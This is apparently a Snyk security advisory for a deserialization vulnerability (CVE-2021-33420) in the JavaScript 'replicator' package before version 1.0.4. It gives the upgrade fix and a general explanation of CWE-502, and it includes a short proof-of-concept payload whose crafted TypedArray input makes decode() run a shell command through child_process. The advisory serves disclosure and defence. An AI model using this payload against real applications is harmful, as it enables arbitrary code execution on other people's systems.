Deserialization of Untrusted Data Affecting replicator package, versions <1.0.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.94% (84th percentile)

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  • Snyk IDSNYK-JS-REPLICATOR-3173593
  • published16 Dec 2022
  • disclosed15 Dec 2022
  • creditYaniv Nizry

Introduced: 15 Dec 2022

CVE-2021-33420  (opens in a new tab)
CWE-502  (opens in a new tab)

How to fix?

Upgrade replicator to version 1.0.4 or higher.

Overview

replicator is an Advanced JavaScript objects serialization.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data by allowing remote attackers to run arbitrary code via the fromSerializable function in the TypedArray object.

PoC

const Replicator = require('replicator');
const replicator = new Replicator();
replicator.decode('[{"@t":"[[TypedArray]]","data":{"ctorName":"setTimeout","arr":{"@t":"[[TypedArray]]","data":{"ctorName":"Function","arr":" require(\'child_process\').exec(\'calc\')"}}}}]') 

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

CVSS Scores

version 3.1